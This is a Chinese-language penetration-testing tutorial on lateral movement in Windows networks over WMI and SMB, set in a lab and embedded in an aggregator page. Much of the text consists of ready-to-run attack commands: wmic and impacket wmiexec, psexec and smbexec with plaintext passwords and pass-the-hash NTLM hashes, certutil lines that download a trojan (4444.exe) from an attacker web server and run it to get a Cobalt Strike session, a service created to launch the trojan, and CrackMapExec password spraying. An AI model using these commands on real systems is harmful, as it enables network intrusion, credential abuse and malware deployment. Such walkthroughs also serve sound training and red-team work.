服务粉丝

我们一直在努力
当前位置:首页 > 财经 >

横向移动-WMI、SMB

日期: 来源:Tide安全团队收集编辑:0h1inge


WMI

什么是WMI?

WMI是通过135端口进行利用,支持用户名明文或hash的方式进行认证,在使用WMIC执行命令过程中,操作系统默认不会将WMIC的操作记录在日志中,因此在利用过程中不会产生日志。所以越来越多的攻击者开始渐渐使用WMI进行攻击。 

WMI的利用条件

  1. 1. 获得目标机器的用户名和密码

  2. 2. 开放139、445端口

WMIC的使用需要对方开启135端口(有的工具需要445端口)和admin$共享,135端口是WMI默认的管理端口

WMI利用手法

WMI演示环境如下图:

WMIC

系统自带的WMIC命令是单执行,无回显的,并且只支持明文密码,不支持hash进行传递 在这里,我们对SQLserver执行了一个ipconfig的命令,并将结果保存在C盘的ip.txt文件中:

wmic /node:192.168.3.32 /user:administrator /password:admin!@#45 process call create "cmd.exe /c ipconfig > c:\ip.txt

可以看到我们并无法直接看到命令的回显,但我们上帝视角切到靶机发现确实是执行命令了的 。

这里如果在实战中,如果想要查看文件内容和文件是否上传成功的话,就要使用上篇文章内网移动-IPC中的type和dir命令

dir \\192.168.3.32\c$ #列出该主机的C盘下的文件
type \\192.168.3.32\c$\ip.txt 

这里将其上线CS的步骤也是:使用下载命令让其下载Web Server中的木马,执行上线

wmic /node:192.168.3.32 /user:administrator /password:admin!@#45 process call create "cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/4444.exe c:/4444.exe"  #下载Webserver中的木马文件到自己的C盘

wmic /node:192.168.3.32 /user:administrator /password:admin!@#45 process call create "cmd.exe /c c:/4444.exe" # 执行木马

可以看到此时sqlserver成功被上线。

wmiexec.vbs

wmiexec.vbs 脚本通过 VBS 调用 WMI 来模拟 PsExec 的功能,wmiexec.vbs 下载地址:https://github.com/k8gege/K8tools/blob/master/wmiexec.vbs,交互式,适合在反弹shell或msfconsole中使用,不适合CS控制 首先我们将其上传到跳板机中,然后再使用命令去连接,由于CS无法返回shell的问题,所以该脚本并不适用于在CS中运行,所以这里我选择将会话转移到MSF中去运行。

cscript //nologo wmiexec.vbs /shell 192.168.3.32 administrator admin!@#45

可以看到在MSF中运行了该文件后,成功将sqlserver的shell反弹了过来,在此我们可以直接让其下载后门并执行,上线到我们的CS中。

cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/4444.exe c:/4444.exe & C:/4444.exe

可以看到SQLserver成功上线CS

wmiexec-impacket

impacket套件中的wmiexec同样可对WMI进行横向移动,并且支持交互式与单执行,支持hash进行传递,相对来说更为方便,这里直接使用它的py脚本配合socket代理就可以对其内网进行横向移动,避免了上传文件等敏感操作。首先设置好Socket代理,与proxifier的代理与代理规则

配置好socket代理与规则后,就可直接在本机中调用wmiexec.py文件对其内网进行wmi利用

python wmiexec.py ./administrator:Admin12345@192.168.3.21 # 通过明文密码连接获得目标本地用户交互式shell
python wmiexec.py god/administrator:Admin12345@192.168.3.21 # 通过明文密码连接获得目标域用户交互式shell

通过该命令成功获得一个交互式的shell,那么wmiexec.py也可单执行命令。

python wmiexec.py ./administrator:admin!@#45@192.168.3.32 "whoami"  # 以明文密码连接本地用户并执行命令

python wmiexec.py -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 "whoami" # 以hash密码连接本地用户并执行命令

这里将目标上线CS的方式和上面一致,通过命令下载木马并执行。

python wmiexec.py -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 "cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/4444.exe c:/4444.exe & C:/4444.exe"


SMB

什么是SMB?

SMB(Server Message Block)服务器信息块,它也是一种客户端到服务器的通信协议。除此之外,SMB协议也被称为请求-回复协议。客户端与服务器建立连接后,客户端可以向服务器发送SMB命令允许用户访问共享、打开、读取或者是写入文件

SMB的利用条件

  1. 1. 利用SMB服务可以通过明文或hash传递来远程执行,条件445服务端口开放。

  2. 2. 获得该目标的账号名与密码或hash

    SMB利用手法

    SMB演示环境如下图:

PsExec

官方Psexec

Psexec 是由 Mark Russinovich 创建的 Sysinternals Suite中包含的工具。最初,它旨在作为系统管理员的便利工具,以便他们可以通过在远程主机上运行命令来执行维护任务。后来因为太过方便,被利用到内网渗透之中。下载地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/pstools,但不支持hash传递,且CS无法利用,而且该工具好像只能在具有桌面权限后才可进行利用,我这里使用msf和反弹shell都无法成功反弹shell.... 这里将psexec.64上传到跳板机中

然后在跳板机桌面中运行该工具,就会反弹出目标机器的shell,如下图所示。

psexec64.exe \\192.168.3.32 -u administrator -p admin!@#45 -s cmd

Impacket-PsExec

还有一个psexec就是我们的impacket套件中的工具,官方psexec有诸多限制,如不支持hash、cs、msf无法利用成功等问题,所以这里选择使用impacket中的psexec工具就相对来说比较灵活,同样,为了避免发送上传文件时数据丢失或被查杀等问题,我们可使用socket+psexec.py对其内网进行横向移动。socket配置此处不再描述,这里直接使用impacket-Psexec.py进行利用

psexec.py ./administrator:admin!@#45@192.168.3.32 # 通过明文密码连接获得目标本地用户交互式shell
psexec.py god/administrator:Admin12345@192.168.3.21 # 通过明文密码连接获得目标域用户交互式shell

python psexec.py -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 # 通过哈希密码连接获得目标本地用户交互式shell
python psexec.py -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21 # 通过哈希密码连接获得目标域用户交互式shell

CS插件-psexec

在我们的CS中其实也有PSEXEC利用功能,且利用较为方便与简单,在targets中选中目标右键即可弹出利用选项,且支持hash的移动

点击psexec64后,就会让我们选择用户名密码与所登录域等,这里我们直接选择之前我们在跳板机中所收集的密码,Domain置空的话为本地用户登录,输入域名后则为域用户登录,选择监听器和会话之后,点击Launch即可。

这里看到Sqlserver成功上线,这里如果想以域用户的身份登录时,Domain处输入域名即为域用户身份登录。

较为简单,这里不做过多讲解。

smbexec-impacket

在impacket中smbexec工具也可以进行移动,该工具利用方式和psexec利用方式相同,这里简单介绍一下即可

python smbexec.py ./administrator:admin!@#45@192.168.3.32 # 通过明文密码连接获得目标本地用户交互式shell
python smbexec.py -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21 #通过哈希密码连接获得目标域用户交互式shell

Services

同时还有一个系统自带的服务也可进行利用,该服务支持哈希密码传递,且为单执行无回显,无法交互shell。具体利用过程如下:首先建立SMB连接后,创建一个服务,服务绑定木马,然后在启动该服务,即可上线到CS中

services -hashes :518b98ad4178a53695dc997aa02d455c ./administrator:@192.168.3.32 create -name shell -display shellexec -path C:\4444.exe # 建立SMB连接并创建服务绑定木马
services -hashes :518b98ad4178a53695dc997aa02d455c ./administrator:@192.168.3.32 start -name shell # 启动shell服务

CrackMapExec

在内网渗透中,能获取到主机管理员账号密码,将会使我们横向事半功倍,尤其是在大内网环境中,密码复用率很高,一波喷洒,能助力你拿到一波主机,对拿到的主机再次抓取密码,再用新拿到的密码喷洒一波......,如此反复。密码喷洒的思路就是这样:不断收集内网账号密码,不断去喷洒。这时我们就需要类似CrackMapExec这样的密码喷洒工具,对其内网进行密码喷洒。CrackMapExec下载地址:https://github.com/Porchetta-Industries/CrackMapExec 同样的,CrackMapExec支持本地、域内和明文密文的fuzz,具体利用命令如下:域用户明文密码喷洒:

proxychains crackmapexec smb 192.168.3.21-32 -u dbadmin -p 'Admin12345'

本地用户明文密码喷洒:

proxychains crackmapexec smb 192.168.3.21-32 -u administrator -p 'admin!@#45' --local-auth

域内用户hash密码喷洒

proxychains crackmapexec smb 192.168.3.32 -u dbadmin -H '518b98ad4178a53695dc997aa02d455c'

本地用户hash密码喷洒

proxychains crackmapexec smb 192.168.3.32 -u administrator -H '518b98ad4178a53695dc997aa02d455c' --local-auth

执行命令也是非常的简单,这里直接在上面命令后加上-x 'bash' 即可

proxychains crackmapexec smb 192.168.3.32 -u administrator -H '518b98ad4178a53695dc997aa02d455c' --local-auth -x 'whoami'

当然这里也可以通过已经喷洒出的主机和密码配合CS中的psexec上线到CS中。此处就不再演示。

往期推荐

敏感信息泄露

潮影在线免杀平台上线了

自动化渗透测试工具开发实践

【红蓝对抗】利用CS进行内网横向

一个Go版(更强大)的TideFinger

SRC资产导航监测平台Tsrc上线了

新潮信息-Tide安全团队2022年度总结

记一次实战攻防(打点-Edr-内网-横向-Vcenter)

E

N

D


知识星球产品及服务

团队内部平台:潮汐在线指纹识别平台 | 潮听漏洞情报平台 | 潮巡资产管理与威胁监测平台 | 潮汐网络空间资产测绘 | 潮声漏洞检测平台 | 在线免杀平台 | CTF练习平台 | 物联网固件检测平台 | SRC资产监控平台  | ......


星球分享方向:Web安全 | 红蓝对抗 | 移动安全 | 应急响应 | 工控安全 | 物联网安全 | 密码学 | 人工智能 | ctf 等方面的沟通及分享


星球知识wiki:红蓝对抗 | 漏洞武器库 | 远控免杀 | 移动安全 | 物联网安全 | 代码审计 | CTF | 工控安全 | 应急响应 | 人工智能 | 密码学 | CobaltStrike | 安全测试用例 | ......


星球网盘资料:安全法律法规 | 安全认证资料 | 代码审计 | 渗透安全工具 | 工控安全工具 | 移动安全工具 | 物联网安全 | 其它安全文库合辑  | ......

扫码加入一起学习吧~

相关阅读

  • 登录功能设计缺陷

  • 0x01 等保测评项GBT 22239-2019《信息安全技术 网络安全等级保护基本要求》中,8.1.4安全计算环境—身份鉴别项中要求包括:a)应对登录的用户进行身份标识和鉴别,身份标识具有唯一
  • 初识内存取证-volatility与Easy_dump

  • volatilityVolatility是一款非常强大的内存取证工具,它是由来自全世界的数百位知名安全专家合作开发的一套工具, 可以用于windows,linux,mac osx,android等系统内存取证。Vo
  • 注册功能设计缺陷

  • 0x01 等保测评项GBT 22239-2019《信息安全技术 网络安全等级保护基本要求》中,8.1.4安全计算环境—身份鉴别项中要求包括:a)应对登录的用户进行身份标识和鉴别,身份标识具有唯一
  • 车联网安全入门之从CAN模拟环境搭建到重放攻击

  • 前言车联网安全最近几年成为了各大汽车厂商以及安全厂商的关注热点,但是作为一个穷苦的无车一族想要入门车联网安全该怎么办?那当然是靠模拟器了本文将介绍如何通过Ubuntu模拟
  • 我校4门课程入选北京高校“优质本科教案”

  • 党委宣传部「公大官微」出品近日,北京市教育委员会公布2022年北京高校“优质本科教案”评选结果,我校4门课程入选。北京高校“优质本科教案”项目建设,旨在通过遴选建设一批能
  • 2023年城市更新转型新方向!

  • 邀请函:各位有关单位:2023年对于整个政府投融资领域来说都将进入一个全新的阶段。近几年经济体制市场化改革不断稳步推进,2022年突遇境内外空前的经济下行压力,迫使监管层大大加
  • 债券全体系基础班【上海】

  • 课程纲要专题一:地产和城投债投资风险及机会一、本轮地产债的路径:2022年最大的风险和机会1、三道红线2、恒大催化3、部分民营地产恶意逃废债4、地产债大面积展期或违约5、监
  • 实战|记一次横向移动渗透测试

  • | 作者:windcctv,转自FreeBuf.COM本次渗透在几个docker虚拟机间多次横向移动,最终找到了一个可以进行docker逃逸的出口,拿下服务器。渗透过程曲折但充满了乐趣,入口是172.17.0.6
  • 图解:美国1月CPI,食品和住房的“支柱作用”

  • 欢迎点击上方蓝字,关注 “赵伟宏观探索”赵伟团队介绍长按关注新书推介作者从经济、政治、文化和资本市场运作等各个维度展开分析,尝试厘清中国经济结构转型的核心命题,以及转

热门文章

  • “复活”半年后 京东拍拍二手杀入公益事业

  • 京东拍拍二手“复活”半年后,杀入公益事业,试图让企业捐的赠品、家庭闲置品变成实实在在的“爱心”。 把“闲置品”变爱心 6月12日,“益心一益·守护梦想每一步”2018年四

最新文章

  • 横向移动-WMI、SMB

  • WMI什么是WMI?WMI是通过135端口进行利用,支持用户名明文或hash的方式进行认证,在使用WMIC执行命令过程中,操作系统默认不会将WMIC的操作记录在日志中,因此在利用过程中不会产生日
  • 黄河开河防凌进入关键时期

  •   新华社呼和浩特2月28日电(记者李云平、恩浩)记者从内蒙古自治区水利厅获悉,2月28日9时,黄河冰凌安全通过三盛公水利枢纽,开河至拦河闸下,累计开河长度160公里,剩余封冻长度560
  • 登录功能设计缺陷

  • 0x01 等保测评项GBT 22239-2019《信息安全技术 网络安全等级保护基本要求》中,8.1.4安全计算环境—身份鉴别项中要求包括:a)应对登录的用户进行身份标识和鉴别,身份标识具有唯一
  • 初识内存取证-volatility与Easy_dump

  • volatilityVolatility是一款非常强大的内存取证工具,它是由来自全世界的数百位知名安全专家合作开发的一套工具, 可以用于windows,linux,mac osx,android等系统内存取证。Vo
  • 直播微视评:打自己的孩子就有理吗?

  • 在山西太原的一个停车场,李先生看见一名男子在打小孩,下手很重,李先生上前把男子拉开了,那名男子紧接着就把拳头挥向了李先生,双方拉扯纠缠了一阵。打小孩的男子叫任某,他打的是
  • 注册功能设计缺陷

  • 0x01 等保测评项GBT 22239-2019《信息安全技术 网络安全等级保护基本要求》中,8.1.4安全计算环境—身份鉴别项中要求包括:a)应对登录的用户进行身份标识和鉴别,身份标识具有唯一